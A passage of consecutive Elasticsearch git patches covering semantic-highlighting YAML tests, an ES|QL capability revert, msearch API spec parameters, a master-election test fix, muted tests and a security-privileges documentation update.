-  - match:  { hits.hits.0.highlight.body.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
-  - match:  { hits.hits.0.highlight.body.1: "You Know, for Search!" }
+  - match: { hits.hits.0.highlight.body.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+  - match: { hits.hits.0.highlight.body.1: "You Know, for Search!" }
 
   - do:
       search:
@@ -154,10 +171,10 @@ setup:
                 order: "score"
                 number_of_fragments: 1
 
-  - match:  { hits.total.value: 1 }
-  - match:  { hits.hits.0._id: "doc_1" }
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
   - length: { hits.hits.0.highlight.body: 1 }
-  - match:  { hits.hits.0.highlight.body.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+  - match: { hits.hits.0.highlight.body.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
 
   - do:
       search:
@@ -187,7 +204,7 @@ setup:
         index: test-dense-index
         id: doc_1
         body:
-          body: ["ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides.", "You Know, for Search!"]
+          body: [ "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides.", "You Know, for Search!" ]
         refresh: true
 
   - match: { result: created }
@@ -206,10 +223,10 @@ setup:
                 type: "semantic"
                 number_of_fragments: 1
 
-  - match:  { hits.total.value: 1 }
-  - match:  { hits.hits.0._id: "doc_1" }
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
   - length: { hits.hits.0.highlight.body: 1 }
-  - match:  { hits.hits.0.highlight.body.0: "You Know, for Search!" }
+  - match: { hits.hits.0.highlight.body.0: "You Know, for Search!" }
 
   - do:
       search:
@@ -225,11 +242,11 @@ setup:
                 type: "semantic"
                 number_of_fragments: 2
 
-  - match:  { hits.total.value: 1 }
-  - match:  { hits.hits.0._id: "doc_1" }
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
   - length: { hits.hits.0.highlight.body: 2 }
-  - match:  { hits.hits.0.highlight.body.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
-  - match:  { hits.hits.0.highlight.body.1: "You Know, for Search!" }
+  - match: { hits.hits.0.highlight.body.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+  - match: { hits.hits.0.highlight.body.1: "You Know, for Search!" }
 
   - do:
       search:
@@ -246,10 +263,10 @@ setup:
                 order: "score"
                 number_of_fragments: 1
 
-  - match:  { hits.total.value: 1 }
-  - match:  { hits.hits.0._id: "doc_1" }
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
   - length: { hits.hits.0.highlight.body: 1 }
-  - match:  { hits.hits.0.highlight.body.0: "You Know, for Search!" }
+  - match: { hits.hits.0.highlight.body.0: "You Know, for Search!" }
 
   - do:
       search:
@@ -266,11 +283,11 @@ setup:
                 order: "score"
                 number_of_fragments: 2
 
-  - match:  { hits.total.value: 1 }
-  - match:  { hits.hits.0._id: "doc_1" }
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
   - length: { hits.hits.0.highlight.body: 2 }
-  - match:  { hits.hits.0.highlight.body.0: "You Know, for Search!" }
-  - match:  { hits.hits.0.highlight.body.1: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+  - match: { hits.hits.0.highlight.body.0: "You Know, for Search!" }
+  - match: { hits.hits.0.highlight.body.1: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
 
 ---
 "Highlighting and multi chunks with empty input":
@@ -295,7 +312,7 @@ setup:
         index: test-multi-chunk-index
         id: doc_1
         body:
-          semantic_text_field: ["some test data", "    ", "now with chunks"]
+          semantic_text_field: [ "some test data", "    ", "now with chunks" ]
         refresh: true
 
   - do:
@@ -337,18 +354,18 @@ setup:
         index: test-sparse-index
         body:
           query:
-            match_all: {}
+            match_all: { }
           highlight:
             fields:
               body:
                 type: "semantic"
                 number_of_fragments: 2
 
-  - match:  { hits.total.value: 1 }
-  - match:  { hits.hits.0._id: "doc_1" }
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
   - length: { hits.hits.0.highlight.body: 2 }
-  - match:  { hits.hits.0.highlight.body.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
-  - match:  { hits.hits.0.highlight.body.1: "You Know, for Search!" }
+  - match: { hits.hits.0.highlight.body.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+  - match: { hits.hits.0.highlight.body.1: "You Know, for Search!" }
 
   - do:
       index:
@@ -363,7 +380,7 @@ setup:
         index: test-dense-index
         body:
           query:
-            match_all: {}
+            match_all: { }
           highlight:
             fields:
               body:
@@ -410,18 +427,18 @@ setup:
         index: test-index-sparse
         body:
           query:
-            match_all: {}
+            match_all: { }
           highlight:
             fields:
               semantic_text_field:
                 type: "semantic"
                 number_of_fragments: 2
 
-  - match:  { hits.total.value: 1 }
-  - match:  { hits.hits.0._id: "doc_1" }
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
   - length: { hits.hits.0.highlight.semantic_text_field: 2 }
-  - match:  { hits.hits.0.highlight.semantic_text_field.0: "some test data" }
-  - match:  { hits.hits.0.highlight.semantic_text_field.1: "now with chunks" }
+  - match: { hits.hits.0.highlight.semantic_text_field.0: "some test data" }
+  - match: { hits.hits.0.highlight.semantic_text_field.1: "now with chunks" }
 
   - do:
       indices.create:
@@ -451,7 +468,7 @@ setup:
         index: test-index-dense
         body:
           query:
-            match_all: {}
+            match_all: { }
           highlight:
             fields:
               semantic_text_field:
@@ -464,3 +481,173 @@ setup:
   - match: { hits.hits.0.highlight.semantic_text_field.0: "some test data" }
   - match: { hits.hits.0.highlight.semantic_text_field.1: "now with chunks" }
 
+---
+"Highlighting with flat quantization index options":
+  - requires:
+      cluster_features: "semantic_text.highlighter.flat_index_options"
+      reason: semantic highlighter fix for flat index options
+
+  - do:
+      indices.create:
+        index: test-dense-index-flat
+        body:
+          settings:
+            index.mapping.semantic_text.use_legacy_format: true
+          mappings:
+            properties:
+              flat_field:
+                type: semantic_text
+                inference_id: dense-inference-id
+                index_options:
+                  dense_vector:
+                    type: flat
+              int4_flat_field:
+                type: semantic_text
+                inference_id: dense-inference-id
+                index_options:
+                  dense_vector:
+                    type: int4_flat
+              int8_flat_field:
+                type: semantic_text
+                inference_id: dense-inference-id
+                index_options:
+                  dense_vector:
+                    type: int8_flat
+              bbq_flat_field:
+                type: semantic_text
+                inference_id: dense-inference-id-compatible-with-bbq
+                index_options:
+                  dense_vector:
+                    type: bbq_flat
+
+
+  - do:
+      index:
+        index: test-dense-index-flat
+        id: doc_1
+        body:
+          flat_field: [ "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides.", "You Know, for Search!" ]
+          int4_flat_field: [ "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides.", "You Know, for Search!" ]
+          int8_flat_field: [ "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides.", "You Know, for Search!" ]
+          bbq_flat_field: [ "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides.", "You Know, for Search!" ]
+        refresh: true
+
+  - do:
+      search:
+        index: test-dense-index-flat
+        body:
+          query:
+            match_all: { }
+          highlight:
+            fields:
+              flat_field:
+                type: "semantic"
+                number_of_fragments: 1
+              int4_flat_field:
+                type: "semantic"
+                number_of_fragments: 1
+              int8_flat_field:
+                type: "semantic"
+                number_of_fragments: 1
+              bbq_flat_field:
+                type: "semantic"
+                number_of_fragments: 1
+
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
+  - length: { hits.hits.0.highlight: 4 }
+  - length: { hits.hits.0.highlight.flat_field: 1 }
+  - match: { hits.hits.0.highlight.flat_field.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+  - length: { hits.hits.0.highlight.int4_flat_field: 1 }
+  - match: { hits.hits.0.highlight.int4_flat_field.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+  - length: { hits.hits.0.highlight.int8_flat_field: 1 }
+  - match: { hits.hits.0.highlight.int8_flat_field.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+  - length: { hits.hits.0.highlight.bbq_flat_field: 1 }
+  - match: { hits.hits.0.highlight.bbq_flat_field.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+
+---
+"Highlighting with HNSW quantization index options":
+  - requires:
+      cluster_features: "semantic_text.highlighter.flat_index_options"
+      reason: semantic highlighter fix for flat index options
+
+  - do:
+      indices.create:
+        index: test-dense-index-hnsw
+        body:
+          settings:
+            index.mapping.semantic_text.use_legacy_format: true
+          mappings:
+            properties:
+              hnsw_field:
+                type: semantic_text
+                inference_id: dense-inference-id
+                index_options:
+                  dense_vector:
+                    type: hnsw
+              int4_hnsw_field:
+                type: semantic_text
+                inference_id: dense-inference-id
+                index_options:
+                  dense_vector:
+                    type: int4_hnsw
+              int8_hnsw_field:
+                type: semantic_text
+                inference_id: dense-inference-id
+                index_options:
+                  dense_vector:
+                    type: int8_hnsw
+              bbq_hnsw_field:
+                type: semantic_text
+                inference_id: dense-inference-id-compatible-with-bbq
+                index_options:
+                  dense_vector:
+                    type: bbq_hnsw
+
+
+  - do:
+      index:
+        index: test-dense-index-hnsw
+        id: doc_1
+        body:
+          hnsw_field: [ "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides.", "You Know, for Search!" ]
+          int4_hnsw_field: [ "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides.", "You Know, for Search!" ]
+          int8_hnsw_field: [ "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides.", "You Know, for Search!" ]
+          bbq_hnsw_field: [ "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides.", "You Know, for Search!" ]
+        refresh: true
+
+  - do:
+      search:
+        index: test-dense-index-hnsw
+        body:
+          query:
+            match_all: { }
+          highlight:
+            fields:
+              hnsw_field:
+                type: "semantic"
+                number_of_fragments: 1
+              int4_hnsw_field:
+                type: "semantic"
+                number_of_fragments: 1
+              int8_hnsw_field:
+                type: "semantic"
+                number_of_fragments: 1
+              bbq_hnsw_field:
+                type: "semantic"
+                number_of_fragments: 1
+
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
+  - length: { hits.hits.0.highlight: 4 }
+  - length: { hits.hits.0.highlight.hnsw_field: 1 }
+  - match: { hits.hits.0.highlight.hnsw_field.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+  - length: { hits.hits.0.highlight.int4_hnsw_field: 1 }
+  - match: { hits.hits.0.highlight.int4_hnsw_field.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+  - length: { hits.hits.0.highlight.int8_hnsw_field: 1 }
+  - match: { hits.hits.0.highlight.int8_hnsw_field.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+  - length: { hits.hits.0.highlight.bbq_hnsw_field: 1 }
+  - match: { hits.hits.0.highlight.bbq_hnsw_field.0: "ElasticSearch is an open source, distributed, RESTful, search engine which is built on top of Lucene internally and enjoys all the features it provides." }
+
+
+

From 654dec29bbcc02ef54ac5d3eb72050c15a0fda4e Mon Sep 17 00:00:00 2001
From: Stanislav Malyshev <smalyshev@users.noreply.github.com>
Date: Fri, 18 Jul 2025 12:48:54 -0600
Subject: [PATCH 191/299] [9.1] Revert "Put shards failure under a cap flag
 (#131371)" (#131542) (#131552)

* Revert "Put shards failure under a cap flag (#131371)" (#131542)

This reverts commit 04119405d141bcb390509f766ebbb7660b0ffe72.

(cherry picked from commit be2f024412a13995daeb8dc24734613513cf787e)

# Conflicts:
#	x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java

* fix caps
---
 .../test/esql/EsqlPartialResultsIT.java       | 24 -------------------
 .../xpack/esql/action/EsqlCapabilities.java   |  7 +-----
 .../xpack/esql/plugin/ComputeService.java     |  4 ----
 3 files changed, 1 insertion(+), 34 deletions(-)

diff --git a/test/external-modules/error-query/src/javaRestTest/java/org/elasticsearch/test/esql/EsqlPartialResultsIT.java b/test/external-modules/error-query/src/javaRestTest/java/org/elasticsearch/test/esql/EsqlPartialResultsIT.java
index 5c3a8b2c50e15..5f85dc8f3bec1 100644
--- a/test/external-modules/error-query/src/javaRestTest/java/org/elasticsearch/test/esql/EsqlPartialResultsIT.java
+++ b/test/external-modules/error-query/src/javaRestTest/java/org/elasticsearch/test/esql/EsqlPartialResultsIT.java
@@ -214,10 +214,6 @@ public void testFailureFromRemote() throws Exception {
     }
 
     public void testAllShardsFailed() throws Exception {
-        assumeTrue(
-            "fail functionality is not enabled",
-            clusterHasCapability("POST", "/_query", List.of(), List.of("fail_if_all_shards_fail")).orElse(false)
-        );
         setupRemoteClusters();
         populateIndices();
         try {
@@ -236,26 +232,6 @@ public void testAllShardsFailed() throws Exception {
         }
     }
 
-    public void testAllShardsFailedOldBehavior() throws Exception {
-        // TODO: drop this once we no longer support the old behavior
-        assumeFalse(
-            "fail functionality is enabled",
-            clusterHasCapability("POST", "/_query", List.of(), List.of("fail_if_all_shards_fail")).orElse(false)
-        );
-        setupRemoteClusters();
-        populateIndices();
-        try {
-            Request request = new Request("POST", "/_query");
-            request.setJsonEntity("{\"query\": \"FROM " + "*:failing*" + " | LIMIT 100\"}");
-            request.addParameter("allow_partial_results", "true");
-            Response resp = client().performRequest(request);
-            Map<String, Object> results = entityAsMap(resp);
-            assertThat(results.get("is_partial"), equalTo(true));
-        } finally {
-            removeRemoteCluster();
-        }
-    }
-
     private void setupRemoteClusters() throws IOException {
         String settings = String.format(Locale.ROOT, """
             {
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
index c343d1d5d3f7f..9c5ecfaed6861 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
@@ -1250,12 +1250,7 @@ public enum Cap {
          * Forbid usage of brackets in unquoted index and enrich policy names
          * https://github.com/elastic/elasticsearch/issues/130378
          */
-        NO_BRACKETS_IN_UNQUOTED_INDEX_NAMES,
-
-        /**
-         * Fail if all shards fail
-         */
-        FAIL_IF_ALL_SHARDS_FAIL(Build.current().isSnapshot());
+        NO_BRACKETS_IN_UNQUOTED_INDEX_NAMES;
 
         private final boolean enabled;
 
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeService.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeService.java
index 1ae6a4634644d..973455f435fab 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeService.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeService.java
@@ -47,7 +47,6 @@
 import org.elasticsearch.transport.RemoteClusterAware;
 import org.elasticsearch.transport.TransportException;
 import org.elasticsearch.transport.TransportService;
-import org.elasticsearch.xpack.esql.action.EsqlCapabilities;
 import org.elasticsearch.xpack.esql.action.EsqlExecutionInfo;
 import org.elasticsearch.xpack.esql.action.EsqlQueryAction;
 import org.elasticsearch.xpack.esql.core.expression.Attribute;
@@ -549,9 +548,6 @@ private static void updateExecutionInfoAfterCoordinatorOnlyQuery(EsqlExecutionIn
      * which doesn't consider the failures from the remote clusters when skip_unavailable is true.
      */
     static void failIfAllShardsFailed(EsqlExecutionInfo execInfo, List<Page> finalResults) {
-        if (EsqlCapabilities.Cap.FAIL_IF_ALL_SHARDS_FAIL.isEnabled() == false) {
-            return;
-        }
         // do not fail if any final result has results
         if (finalResults.stream().anyMatch(p -> p.getPositionCount() > 0)) {
             return;

From 587b9c0fa4b739bd4c2f50967dd77cc5737bd8b6 Mon Sep 17 00:00:00 2001
From: Quentin Pradet <quentin.pradet@elastic.co>
Date: Fri, 18 Jul 2025 23:15:46 +0400
Subject: [PATCH 192/299] Fix msearch rest-api-spec (#130627) (#131526)

* Fix msearch rest-api-spec

* Add YAML tests for added parameters
---
 .../resources/rest-api-spec/api/msearch.json  | 32 +++++++++++++++++++
 .../rest-api-spec/test/msearch/10_basic.yml   | 10 ++++++
 .../rest-api-spec/test/msearch/40_routing.yml | 25 +++++++++++++++
 3 files changed, 67 insertions(+)
 create mode 100644 rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/msearch/40_routing.yml

diff --git a/rest-api-spec/src/main/resources/rest-api-spec/api/msearch.json b/rest-api-spec/src/main/resources/rest-api-spec/api/msearch.json
index 359d1e67b07e5..0d8223a71c79d 100644
--- a/rest-api-spec/src/main/resources/rest-api-spec/api/msearch.json
+++ b/rest-api-spec/src/main/resources/rest-api-spec/api/msearch.json
@@ -69,6 +69,38 @@
         "type":"boolean",
         "description":"Indicates whether network round-trips should be minimized as part of cross-cluster search requests execution",
         "default":"true"
+      },
+      "index":{
+        "type":"list",
+        "description":"A comma-separated list of index names to use as default"
+      },
+      "ignore_unavailable":{
+        "type":"boolean",
+        "description":"Whether specified concrete indices should be ignored when unavailable (missing or closed)"
+      },
+      "ignore_throttled":{
+        "type":"boolean",
+        "description":"Whether specified concrete, expanded or aliased indices should be ignored when throttled",
+        "deprecated":true
+      },
+      "allow_no_indices":{
+        "type":"boolean",
+        "description":"Whether to ignore if a wildcard indices expression resolves into no concrete indices. (This includes `_all` string or when no indices have been specified)"
+      },
+      "expand_wildcards":{
+        "type":"enum",
+        "options": ["open", "closed", "hidden", "none", "all"],
+        "default":"open",
+        "description":"Whether to expand wildcard expression to concrete indices that are open, closed or both."
+      },
+      "routing":{
+        "type":"list",
+        "description":"A comma-separated list of specific routing values"
+      },
+      "include_named_queries_score":{
+        "type":"boolean",
+        "description":"Indicates whether hit.matched_queries should be rendered as a map that includes the name of the matched query associated with its score (true) or as an array containing the name of the matched queries (false)",
+        "default": false
       }
     },
     "body":{
diff --git a/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/msearch/10_basic.yml b/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/msearch/10_basic.yml
index 1052508ca2b88..8ac4ee60f2bbc 100644
--- a/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/msearch/10_basic.yml
+++ b/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/msearch/10_basic.yml
@@ -1,5 +1,7 @@
 ---
 setup:
+  - requires:
+      test_runner_features: allowed_warnings
 
   - do:
       index:
@@ -67,6 +69,12 @@ setup:
         rest_total_hits_as_int: true
         max_concurrent_shard_requests: 1
         max_concurrent_searches: 1
+        ignore_unavailable: false
+        ignore_throttled: false
+        allow_no_indices: false
+        expand_wildcards: open
+        include_named_queries_score: false
+        index: index_*
         body:
           - index: index_*
           - query:
@@ -83,6 +91,8 @@ setup:
           - {}
           - query:
               match_all: {}
+      allowed_warnings:
+        - "[ignore_throttled] parameter is deprecated because frozen indices have been deprecated. Consider cold or frozen tiers in place of frozen indices."
 
   - match:  { responses.0.hits.total:     2  }
   - match:  { responses.1.hits.total:     1  }
diff --git a/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/msearch/40_routing.yml b/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/msearch/40_routing.yml
new file mode 100644
index 0000000000000..5b69a4da98418
--- /dev/null
+++ b/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/msearch/40_routing.yml
@@ -0,0 +1,25 @@
+---
+setup:
+  - do:
+      index:
+          index:  index_1
+          routing: "1"
+          id:     "1"
+          body:   { foo: bar }
+
+  - do:
+      indices.refresh: {}
+
+---
+"Routing":
+
+  - do:
+      msearch:
+        rest_total_hits_as_int: true
+        routing: "1"
+        body:
+          - {}
+          - query:
+              match_all: {}
+
+  - match:  { responses.0.hits.total:     1  }

From dc410e12b10d62a5cfff36c2dbcecf20ea165510 Mon Sep 17 00:00:00 2001
From: Yang Wang <yang.wang@elastic.co>
Date: Mon, 21 Jul 2025 15:55:36 +1000
Subject: [PATCH 193/299] [Test] Wait for expected master on all nodes
 (#131399) (#131589)

This PR changes the test to simply wait expected master on every node
instead of selectively waiting on one non-master and one master node.
The later is problematic since it uses API that is not suitable when the
cluster is changing master.

Relates: #127213
---
 .../cluster/SpecificMasterNodesIT.java        | 20 +++++++++++--------
 1 file changed, 12 insertions(+), 8 deletions(-)

diff --git a/server/src/internalClusterTest/java/org/elasticsearch/cluster/SpecificMasterNodesIT.java b/server/src/internalClusterTest/java/org/elasticsearch/cluster/SpecificMasterNodesIT.java
index 5f86111d352a9..5d5f2082fb71f 100644
--- a/server/src/internalClusterTest/java/org/elasticsearch/cluster/SpecificMasterNodesIT.java
+++ b/server/src/internalClusterTest/java/org/elasticsearch/cluster/SpecificMasterNodesIT.java
@@ -60,13 +60,15 @@ public void testElectOnlyBetweenMasterNodes() throws Exception {
 
         logger.info("--> start master node (1)");
         final String masterNodeName = internalCluster().startMasterOnlyNode();
-        awaitMasterNode(internalCluster().getNonMasterNodeName(), masterNodeName);
-        awaitMasterNode(internalCluster().getMasterName(), masterNodeName);
+        for (var nodeName : internalCluster().getNodeNames()) {
+            awaitMasterNode(nodeName, masterNodeName);
+        }
 
         logger.info("--> start master node (2)");
         final String nextMasterEligableNodeName = internalCluster().startMasterOnlyNode();
-        awaitMasterNode(internalCluster().getNonMasterNodeName(), masterNodeName);
-        awaitMasterNode(internalCluster().getMasterName(), masterNodeName);
+        for (var nodeName : internalCluster().getNodeNames()) {
+            awaitMasterNode(nodeName, masterNodeName);
+        }
 
         logger.info("--> closing master node (1)");
         client().execute(
@@ -74,12 +76,14 @@ public void testElectOnlyBetweenMasterNodes() throws Exception {
             new AddVotingConfigExclusionsRequest(TEST_REQUEST_TIMEOUT, masterNodeName)
         ).get();
         // removing the master from the voting configuration immediately triggers the master to step down
-        awaitMasterNode(internalCluster().getNonMasterNodeName(), nextMasterEligableNodeName);
-        awaitMasterNode(internalCluster().getMasterName(), nextMasterEligableNodeName);
+        for (var nodeName : internalCluster().getNodeNames()) {
+            awaitMasterNode(nodeName, nextMasterEligableNodeName);
+        }
 
         internalCluster().stopNode(masterNodeName);
-        awaitMasterNode(internalCluster().getNonMasterNodeName(), nextMasterEligableNodeName);
-        awaitMasterNode(internalCluster().getMasterName(), nextMasterEligableNodeName);
+        for (var nodeName : internalCluster().getNodeNames()) {
+            awaitMasterNode(nodeName, nextMasterEligableNodeName);
+        }
     }
 
     public void testAliasFilterValidation() {

From a9c09bb5abd66ea69004936c26193a1bedbe82d0 Mon Sep 17 00:00:00 2001
From: elasticsearchmachine
 <58790826+elasticsearchmachine@users.noreply.github.com>
Date: Mon, 21 Jul 2025 08:34:20 +0200
Subject: [PATCH 194/299] Mute
 org.elasticsearch.xpack.esql.action.CrossClusterAsyncQueryStopIT
 testStopQueryLocal #131595

---
 muted-tests.yml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/muted-tests.yml b/muted-tests.yml
index 40f8109b8dbb0..2bbe1c6b250a6 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -438,6 +438,9 @@ tests:
 - class: org.elasticsearch.xpack.downsample.DownsampleWithBasicRestIT
   method: test {p0=downsample-with-security/10_basic/Downsample index}
   issue: https://github.com/elastic/elasticsearch/issues/131513
+- class: org.elasticsearch.xpack.esql.action.CrossClusterAsyncQueryStopIT
+  method: testStopQueryLocal
+  issue: https://github.com/elastic/elasticsearch/issues/131595
 
 # Examples:
 #

From 0fd38b1e5300afd2e0086c6fbf0a1f0842611e21 Mon Sep 17 00:00:00 2001
From: elasticsearchmachine
 <58790826+elasticsearchmachine@users.noreply.github.com>
Date: Mon, 21 Jul 2025 08:34:28 +0200
Subject: [PATCH 195/299] Mute
 org.elasticsearch.xpack.esql.action.CrossClusterAsyncQueryStopIT
 testStopQueryLocalNoRemotes #131596

---
 muted-tests.yml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/muted-tests.yml b/muted-tests.yml
index 2bbe1c6b250a6..7677005122c47 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -441,6 +441,9 @@ tests:
 - class: org.elasticsearch.xpack.esql.action.CrossClusterAsyncQueryStopIT
   method: testStopQueryLocal
   issue: https://github.com/elastic/elasticsearch/issues/131595
+- class: org.elasticsearch.xpack.esql.action.CrossClusterAsyncQueryStopIT
+  method: testStopQueryLocalNoRemotes
+  issue: https://github.com/elastic/elasticsearch/issues/131596
 
 # Examples:
 #

From 13938c690b05e012cde239328861f2e6681682e7 Mon Sep 17 00:00:00 2001
From: elasticsearchmachine
 <58790826+elasticsearchmachine@users.noreply.github.com>
Date: Mon, 21 Jul 2025 08:34:36 +0200
Subject: [PATCH 196/299] Mute
 org.elasticsearch.xpack.esql.action.CrossClusterAsyncQueryStopIT
 testStopQuery #131597

---
 muted-tests.yml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/muted-tests.yml b/muted-tests.yml
index 7677005122c47..72ce7cc6dc3b5 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -444,6 +444,9 @@ tests:
 - class: org.elasticsearch.xpack.esql.action.CrossClusterAsyncQueryStopIT
   method: testStopQueryLocalNoRemotes
   issue: https://github.com/elastic/elasticsearch/issues/131596
+- class: org.elasticsearch.xpack.esql.action.CrossClusterAsyncQueryStopIT
+  method: testStopQuery
+  issue: https://github.com/elastic/elasticsearch/issues/131597
 
 # Examples:
 #

From a41017e9a1ca99cd56611840d0e0b710c6f617e3 Mon Sep 17 00:00:00 2001
From: Charlotte Hoblik <116336412+charlotte-hoblik@users.noreply.github.com>
Date: Mon, 21 Jul 2025 16:13:24 +0200
Subject: [PATCH 197/299] Update index mapping update privileges (#130894)
 (#131628)

---
 .../elasticsearch/security-privileges.md      | 32 ++++++++++++-------
 1 file changed, 20 insertions(+), 12 deletions(-)

diff --git a/docs/reference/elasticsearch/security-privileges.md b/docs/reference/elasticsearch/security-privileges.md
index 6e0fd02b2c3b8..ae3438cec16c6 100644
--- a/docs/reference/elasticsearch/security-privileges.md
+++ b/docs/reference/elasticsearch/security-privileges.md
@@ -286,22 +286,20 @@ This section lists the privileges that you can assign to a role.
 `create`
 :   Privilege to index documents.
 
-    :::{admonition} Deprecated in 8.0
-    Also grants the permission to update the index mapping (but not the data streams mapping), using the [updating mapping API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-put-mapping) or by relying on [dynamic field mapping](docs-content://manage-data/data-store/mapping/dynamic-mapping.md). In a future major release, this privilege will not grant any mapping update permissions.
-    :::
-
     ::::{note}
     This privilege does not restrict the index operation to the creation of documents but instead restricts API use to the index API. The index API allows a user to overwrite a previously indexed document. See the `create_doc` privilege for an alternative.
     ::::
 
+    :::{important}
+    Starting from 8.0, this privilege no longer grants the permission to update index mappings.
+    In earlier versions, it implicitly permitted index mapping updates (excluding data stream mappings) via the [updating mapping API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-put-mapping) or through [dynamic field mapping](docs-content://manage-data/data-store/mapping/dynamic-mapping.md).
+    Mapping update capabilities will be fully removed in a future major release.
+    :::
+
 
 `create_doc`
 :   Privilege to index documents. It does not grant the permission to update or overwrite existing documents.
 
-    :::{admonition} Deprecated in 8.0
-    Also grants the permission to update the index mapping (but not the data streams mapping), using the [updating mapping API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-put-mapping) or by relying on [dynamic field mapping](docs-content://manage-data/data-store/mapping/dynamic-mapping.md). In a future major release, this privilege will not grant any mapping update permissions.
-    :::
-
     ::::{note}
     This privilege relies on the `op_type` of indexing requests ([Index](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-create) and [Bulk](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-bulk)). When ingesting documents as a user who has the `create_doc` privilege (and no higher privilege such as `index` or `write`), you must ensure that *op_type* is set to *create* through one of the following:
 
@@ -311,6 +309,12 @@ This section lists the privileges that you can assign to a role.
 
     ::::
 
+    :::{important}
+    Starting from 8.0, this privilege no longer grants the permission to update index mappings.
+    In earlier versions, it implicitly permitted index mapping updates (excluding data stream mappings) via the [updating mapping API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-put-mapping) or through [dynamic field mapping](docs-content://manage-data/data-store/mapping/dynamic-mapping.md).
+    Mapping update capabilities will be fully removed in a future major release.
+    :::
+
 
 `create_index`
 :   Privilege to create an index or data stream. A create index request may contain aliases to be added to the index once created. In that case the request requires the `manage` privilege as well, on both the index and the aliases names.
